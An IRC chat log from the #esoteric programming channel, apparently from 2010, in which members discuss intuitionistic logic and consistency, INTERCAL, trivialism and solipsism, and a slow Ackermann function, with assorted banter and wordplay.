Leaving < 1268238592 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :with intuitionistic logic otherwise, it is. < 1268238606 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!false -> false, for example < 1268238664 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :or hm, x -> !!x is a theorem, so < 1268238677 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :x -> !!x -> !x follows < 1268238873 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :guess who's 24 today :D < 1268238893 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: I agree it's ... on the same level, I just don't know if there is terminology to distinguish between the two. < 1268238896 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :augur < 1268238921 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Hey, augur shares Chuck Norris's birthday. < 1268238931 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: they're equivalent by my argument, in intuitionistic logic < 1268239008 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: Well, maybe replace ! with @ to drop the connotation of "not" ... I'm just thinking symbolically. In both systems, you can pick any two arbitrary statements, like @@@@@x and @@x, and show they are equal. < 1268239039 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :without the connotation of "not" neither is inconsistent < 1268239045 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Only diff is the first says they're equal because they're both equal to x. The second doesn't have to pass through x. < 1268239078 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :er, by "pass through" I mean "refer to x directly" < 1268239100 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :um neither has to pass through x < 1268239104 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :or wait < 1268239111 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Oh, you're right. < 1268239113 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Well, ... < 1268239128 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric ::( < 1268239148 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I still think they're inconsistent. < 1268239155 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :when you say !x -> x do you mean that there _exists_ an x for which this is true? in which case !x -> x is not inconsistent, just take x = true < 1268239195 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: I mean, for all x, this is true. < 1268239206 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Well, not "true" < 1268239228 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: @x = x is not inconsistent if @ has nothing to do with "not" < 1268239232 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :x is a valid evaluation of !x. < 1268239254 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: OK, then I totally don't understand formal logic. < 1268239258 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION goes back to school
< 1268239299 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: and by nothing to do with "not", i mean that you throw away all the other axioms of ! < 1268239300 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :?? < 1268239306 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what's !x? < 1268239311 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: not x < 1268239317 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :in a particular system? < 1268239322 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :(if so, which one) < 1268239338 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: i don't think cpressey knows yet :D < 1268239342 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :maybe the problem is that the term "inconsistent" refers to logical systems and by discarding the "logical" meaning of the system, you can no longer use that term? < 1268239370 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: if you have just @x = x, you cannot prove x = y for all x and y < 1268239390 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :one of them has to be a number of @'s applied to the other < 1268239424 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(or to something common, but that happens to be the same thing in this case) < 1268239473 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I think we need to clarify the universe, like what x and y can be < 1268239498 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :clarify the universe by melting it down and seiving it < 1268239508 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :mmmmmm < 1268239510 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :tasty. < 1268239511 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: for example say that @x has the meaning !!x < 1268239536 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :then it is definitely consistent for @x = x to be true, because it's true in classical logic < 1268239565 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :although not necessary, since it is not always true in intuitionistic logic < 1268239576 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :If x and y elem {0, @0, @@0, ...} then we can prove x = y for any choice. < 1268239583 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1268239613 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :If you start picking them from {0, 1} or something, yeah, I see how you can't prove arbitrary things. < 1268239647 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :OK. Will mull this over. < 1268239856 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1268240009 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :fax D: < 1268240010 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1268240011 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :D: < 1268240013 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1268240016 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1268240021 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION uses email instead
< 1268240025 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :? < 1268240038 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so slow :| < 1268240331 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :OK, let me restate. In a system where there is only one value (call it 0), is @x -> x considered just as "inconsistent" as @x = x (which is just shorthand for {@x -> x, x -> @x}), or are there two different terms for "everything reduces to the same normal form, so we can prove any statement" vs. "there are no normal forms, so we can prove any statement"? < 1268240380 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION 's jaw drops
< 1268240384 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :my unit tests actually passed < 1268240424 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: if there is only one value, then @x = x is obviously true < 1268240531 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I might need to rethink again. < 1268240640 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Like, what is a value. If we add another axiom #x = #x, then there are a bunch of irreducible terms #0, ##0, ###0, which are all distinct from 0, at least syntactically -- are they values? Is @@@0 not a value (well, it can't be distinguished from 0 or @0 or any other expression involving @, so maybe not?) < 1268240725 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :(Logic always was my least favourite esolang...) < 1268240768 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1268240824 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: also it is not a requirement of logics to be defined by reductions or have normal forms... < 1268240868 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, oh I see what you mean, like adding a new 'function' as an axiom, without giving it reduction rules < 1268240868 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: Yeah, I realize that. Kind of. < 1268240939 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Kind of like saying it is not a requirement of graphs to be directed :D < 1268240966 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Or to have degeneracies < 1268241064 0 :oklopol!~oklopol@a91-153-117-208.elisa-laajakaista.fi JOIN :#esoteric < 1268241067 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :how old am i? < 1268241077 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i just turned either 21 or 20 a few weeks ago < 1268241084 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :argh < 1268241099 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Anus_language < 1268241135 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i'm almost sure it's 20 < 1268241141 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :didn't i talk about this here? < 1268241149 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i'm sure i've mentioned my age < 1268241158 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: you'd think that page should have been protected... < 1268241181 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: why donto you figure it out based on your date of birth < 1268241183 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: well i recall you turning 20 i think, and it was more than a few weeks ago < 1268241191 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :okay, good < 1268241197 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :fax: sounds like a lot of work < 1268241209 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :as in, quite possibly a year and a few weeks ago < 1268241223 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :... wtf. < 1268241229 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :also i think my memory problems are funny, which is also a reason to ask < 1268241260 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION checks what year it is
< 1268241275 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :okay so this year i turn 2010-1989 = 21 < 1268241280 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :so in fact i just had to turn that. < 1268241314 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oh right i had to be 20 and not 19 because of something alise said about 19 last year < 1268241327 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i would remember if it'd applied to me < 1268241339 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :clearly oklopol is a being outside time and space < 1268241349 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :with troubles adapting < 1268241353 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric :oklopol, quick, fetch a GPS! < 1268241367 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric :Hmm < 1268241377 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric :except that it depends on the location being on earth < 1268241383 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric :which is a small subset of space < 1268241386 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric :._. < 1268241402 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :FireFly: you'd think it should be usable in low earth orbit too < 1268241420 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric :I guess, but still just a small subset < 1268241714 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :lol my compositions from ~6 years ago are craaaazy < 1268242284 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :in theory, you could use GPS to determine your location anywhere in space < 1268242291 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but it would be rather inaccurate far from the Earth < 1268242406 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :When you're far enough away that the Earth is basically a point, triangulating is hard :P < 1268246061 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1268246353 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: success < 1268246381 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :lament: what is success < 1268246473 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :i mean failure < 1268246484 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :but you're unbanned in #Nm < 1268246497 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :n/m- < 1268246527 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :should i join it < 1268246565 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :of course not < 1268246577 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :you should take a stand < 1268246584 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :o < 1268247266 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: I just got one starting with "lohikäärme on lohikäärme ja lohikäärme on lohikäärme"... maybe you should've enforced a bit of variety ;-) < 1268247297 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Although I guess that's arguably validly poetic < 1268247304 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :`translate lohikäärme < 1268247312 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :dragon < 1268247316 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :dragon < 1268247614 0 :MizardX!unknown@unknown.invalid QUIT :Ping timeout: 256 seconds < 1268247720 0 :MizardX!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1268247983 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: I think there's supposed to be some sort of enforcement like that. < 1268248026 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Apparently not for that rule, though. < 1268248386 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Apparently :-P < 1268248985 0 :MizardX!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268248999 0 :MizardX!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1268249601 0 :oklopol!unknown@unknown.invalid QUIT :Read error: No route to host < 1268249624 0 :oklopol!~oklopol@a91-153-117-208.elisa-laajakaista.fi JOIN :#esoteric < 1268250131 0 :augur!~augur@129-2-175-79.wireless.umd.edu JOIN :#esoteric < 1268250441 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :fax: Actually I have other motivations for doing it this way, but they're... of questionable value < 1268250969 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268251968 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1268252828 0 :Phantom_Hoover!~chatzilla@cpc4-sgyl29-2-0-cust108.sgyl.cable.virginmedia.com JOIN :#esoteric < 1268252850 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Is there any need for a modern-day version of INTERCAL? < 1268252866 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I don't think there's been any need for INTERCAL all along < 1268252871 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it's still fun to work with, though < 1268252876 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Is there any point, then? < 1268252888 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :there isn't a whole lot of point to much of what we do here < 1268252896 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :although, there's always the chance we might learn something about programming < 1268252897 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Would it be interesting? < 1268252898 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :besides, it's fun < 1268252902 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Or fun? < 1268252905 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover: have you seen C-INTERCAL and CLC-INTERCAL? < 1268252910 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Yes... < 1268252914 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :quite a lot of work has gone into modernising INTERCAL already < 1268252966 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :OK < 1268252968 0 :Phantom_Hoover!unknown@unknown.invalid QUIT :Quit: ChatZilla 0.9.86 [Firefox 3.5.8/20100214235838] < 1268252975 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :that was strange < 1268253034 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1268253233 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1268253515 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Practical INTERCAL for the modern enterprise programmer < 1268253535 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ais523: you just _know_ you need to write that book < 1268253548 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :not now, though < 1268253809 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :there's always the chance we might learn something about the deepest fantasies of wombats, as well. < 1268253815 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :it's just much, much smaller < 1268253829 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :... probably < 1268254007 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hey we'll need to do _some_ animal testing of our telepathic sensors before using them on humans, wombats should be excellent. < 1268254132 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I just got back < 1268254134 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and read the line < 1268254138 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :" there's always the chance we might learn something about the deepest fantasies of wombats, as well." < 1268254141 0 :augur!~augur@129-2-175-79.wireless.umd.edu JOIN :#esoteric < 1268254142 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it was rather strange < 1268254147 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION tries to locate the context
< 1268254165 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i'm not entirely sure there was any < 1268254184 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, that is rather worrying < 1268254194 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: yep, it was completely out of context < 1268254196 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric : although, there's always the chance we might learn something about programming < 1268254197 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :which is why it was so strange < 1268254208 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, and "INTERCAL for dummies"? < 1268254244 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh I get it now < 1268254278 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well, sufficiently hyperintelligent dummies < 1268254308 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :or possibly crash test dummies. that might fit even better, actually. < 1268254335 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::E < 1268254338 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :err < 1268254339 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::D* < 1268254365 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :...wherein AnMaster reveals himself as really being cthulhu. < 1268254370 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hah < 1268254385 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, or that I'm using qwerty < 1268254404 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well i have no idea if they're close in dvorak or not < 1268254416 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but that would be too simple of course < 1268254511 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :do crash test dummies dream of roadkill sheep? < 1268254690 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Do people in #esoteric dream of inflatable sheep? < 1268254699 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :not normally, no < 1268254702 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :at least, I don't < 1268254715 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :mystery of the cube? < 1268254724 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i cannot honestly say i'm sure i've ever done so < 1268254736 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I haven't dreamt about that either < 1268254765 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :flying and cardinal sheeps possibly. But if so I must have forgot about them < 1268254778 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :what's a cardinal sheep? < 1268254793 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, I believe that pun only works in Swedish < 1268254794 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or rather < 1268254798 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :English/Swedish mix < 1268254811 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :what is the swedish < 1268254817 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :"karda" is a part of the process for making thread out of wool < 1268254825 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I'm somewhat fuzzy on what exactly it involves < 1268254840 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm karde in norwegian < 1268254843 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and the bits "kard" and "card" are produced the same in Swedish < 1268254847 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well would be < 1268254853 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :we don't have the latter in any word afaik < 1268254957 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :inflatable sheep my be a cardinal sin < 1268254959 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*may < 1268255010 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :(A sin often practiced by cardinals) < 1268255209 0 :jcp!unknown@unknown.invalid QUIT :Quit: I will do anything (almost) for a new router. < 1268255458 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1268256009 0 :alise!~95fee1b3@gateway/web/freenode/x-zzobsjxhzwajnhzl JOIN :#esoteric < 1268256270 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268256415 0 :alise!~95fedb41@gateway/web/freenode/x-iwnjidfmgfxhgokm JOIN :#esoteric < 1268256418 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :05:41:13 Written in very ugly C. < 1268256421 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :the standard dialect of C < 1268256467 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :05:43:53 alise is a girl < 1268256468 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :inded. < 1268256468 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*indeed < 1268256645 0 :ais523!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268256726 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :07:53:44 wow alise is gonna love this http://www.paulkabay.com/#trivialism < 1268256727 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise http://www.paulkabay.com/#trivialism < 1268256740 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION applauds the psychic connection
< 1268256740 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sorry, I'm already a preëventualist (http://viewsourcecode.org/why/preeventualist/; some links broken) < 1268256876 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I'm a Stuckist, myself. < 1268256947 0 :pikhq!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268256963 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : /Philosophically/ I guess I cannot reject the proposition that all things are true. < 1268256975 0 :pikhq!~pikhq@75-106-100-139.cust.wildblue.net JOIN :#esoteric < 1268256976 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But only because the question is a bit meaningless: from what frame of reference? < 1268256990 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Even if you supply one, you must define the terms you use - and you cannot do that precisely. < 1268256999 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So perhaps I actually believe that truth doesn't really exist, rather. < 1268257092 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Nah, too easy. < 1268257101 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Something exists, else why am I doing this? < 1268257111 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :And if it exists, might it not be true? It might. < 1268257143 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise philosophically < 1268257145 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise #philosophically < 1268257168 0 :alise_!~95fedb41@gateway/web/freenode/x-cgommqqzrnjkoadn JOIN :#esoteric < 1268257260 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268257291 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :13:38:21 Something exists, else why am I doing this? < 1268257293 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I don't know why you're doing this. < 1268257298 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I gave (ack 4 1) half an hour, and it still didn't finish evaluating. It must hate me. < 1268257310 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Also, the things that exist for you might differ from the things that exist for me. < 1268257324 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Solipsism, while a ludicrously unlikely premise from inside our frame of reference, is still possible. < 1268257333 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :And philosophy is all about the possible yet unlikely. < 1268257347 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :But it's a sucky basis for action. < 1268257352 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :If I assumed cogito-ergo-sum, that wouldn't really be valid in philosophy, since it'd only be valid for me. < 1268257360 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Solipsism, that is. < 1268257368 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :And philosophy shouldn't really only work for the author, otherwise it's ... not philosophy. < 1268257375 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :So objectively, nothing can be said to exist for certain; < 1268257377 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*certain. < 1268257391 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Truth is still ill-defined either way, though. < 1268257398 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :We have a rigorous definition of provability, but not truth. < 1268257407 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :We call things true if they seem to be true to us. < 1268257425 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Oh, the Axiom of Choice is probably true. But that doesn't really mean anything, it's just human folly. < 1268257433 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :So, really, I guess I technically don't believe in anything. < 1268257451 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :In practice though, from this frame of reference, solipsism is bullshit, philosophical zombies don't exist, the universe is objective, and truth is a useful notion. < 1268257451 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :cpressey make ack doesn't terminated < 1268257499 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :A must confusing jumble of tenses, fax. < 1268257516 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :fax: ... I think I wrote it correctly, (ack 3 2) and such gave a result which corresponded with what I thought I saw when I had the impression I was looking at the Wikipedia page on the Ackermann function < 1268257710 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :or, what they *claim* is the Ackermann function < 1268257735 0 :Asztal!~asztal@host86-156-98-112.range86-156.btcentralplus.com JOIN :#esoteric < 1268258362 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I should probably disappear from IRC for a while. < 1268258385 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :what, again? < 1268258430 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Yes, again. < 1268258432 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Bye! < 1268258434 0 :cpressey!unknown@unknown.invalid PART #esoteric :? < 1268258514 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Bitchin' < 1268258520 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*most < 1268258553 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise_: muphry's law in action < 1268258582 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*Murhpy's < 1268258592 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I just caused a stack overflow of the meta tower. < 1268258608 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :no, yes, wait, argh < 1268258688 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :bufuhukfbawf < 1268258700 0 :lament!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1268258726 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: that's a very naughty word < 1268258735 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :my style is strictly ruude < 1268258738 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :aramakayhe < 1268258759 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders what's a better name for "data" that more strongly suggests induction and not just boring... data
